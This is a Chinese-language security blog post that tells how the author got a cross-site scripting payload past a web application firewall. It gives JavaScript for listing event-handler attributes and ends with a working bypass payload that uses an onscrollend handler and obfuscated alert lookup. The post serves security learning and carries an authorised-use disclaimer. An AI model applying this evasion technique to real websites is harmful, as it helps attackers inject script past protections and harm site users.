记一次XSS绕Waf
前言
之前有次帮学员绕了个Waf,这不活生生的绕Waf案例来了吗,腾讯云、阿里云Waf绕过思路都可以沿用
过程
在看细节的时候先了解几件事,大家觉得XSS他到底是怎么产生的呢?
- XSS本质上是由于前端渲染问题导致的执行js语句
- 那么前端有什么,HTML、CSS、JavaScript(js)这几个里面都会导致XSS
- 思考一下HTML中如何执行Javascript、CSS中如何执行JavaScript
尝试输入Payload
当我输入Payload:
<script>alert(1)</script>

思考点:
- 我输入了什么?
- 我输入的内容哪里会导致这个问题?
用正常语句探测
输入Payload:
<body>1<body>

思考点:
- 不是所有标签都拦截,这里输入两个1,都在前端显示了
抛开标签,选择属性
输入Payload:
<body onerror=1>1</body>

思考点:
- 说明onerror触发Waf,那会不会是onxxx都触发waf?
- onxxx是标签里执行js代码的一个属性,也可以选择用其他标签可以直接执行js代码,或者data=xxx的,忘了

思考点:
- 说明Waf把onerror拦截了,并不是把onxxxx拦截,说明还有可操作空间,反之 就基本没有了
- 下一步,探索可用onxxxx
探索可用属性
代码直接丢出来吧,正常是不给的,但看到这里希望大家点点赞,点个关注
let results = []
for (let i in document){
if(i.startsWith("on")){
results.push(i)
}
}
console.log(results)
localStorage.onAttrs=JSON.stringify(results)
在浏览器console里写,然后利用Python脚本进行发送识别,这里Python代码就不给了,需要自行找一下这个站点触发waf后返回包的特征

在这里返回200是代表没被拦截,403是被拦截了的,所以得出可用属性有onscrollend
利用属性找到标签
回归到Burp
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

直接利用Payload 接着踩坑
这里给大家排了几个坑点
- 你在构造的时候Chrome浏览器和Firefox浏览器是有点不一样的,特别是插入的这个语句越长越复杂,中间很容易报错

比如说这里,很明显,你前面用单引号引用的字符串,中间你想引用一些字符串值,容易产生这方面的问题,这时候可以换个角度,字符串不行,不能走数字型吗?(Sql同理)
中间这里绕了个alert,alert绕过方法就是利用a和l的ascii码到window/top/self这几个集合里去找到alert的点,提一下思路罢了,payload在下面
最终得出Payload
<div style='height: 200; overflow: auto;' onscrollend='for (var i in self) { if (i.charCodeAt(0)==97 ) {if(i.charCodeAt(1)==108){ self[i]() }} }'><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><p>

结语
XSS用处很多,国外价更高。这种漏洞可以不挖,但不能不会!
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
